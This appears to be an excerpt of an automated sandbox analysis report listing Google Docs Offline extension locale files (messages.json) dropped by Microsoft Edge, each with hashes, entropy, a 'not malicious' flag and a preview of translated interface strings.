C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
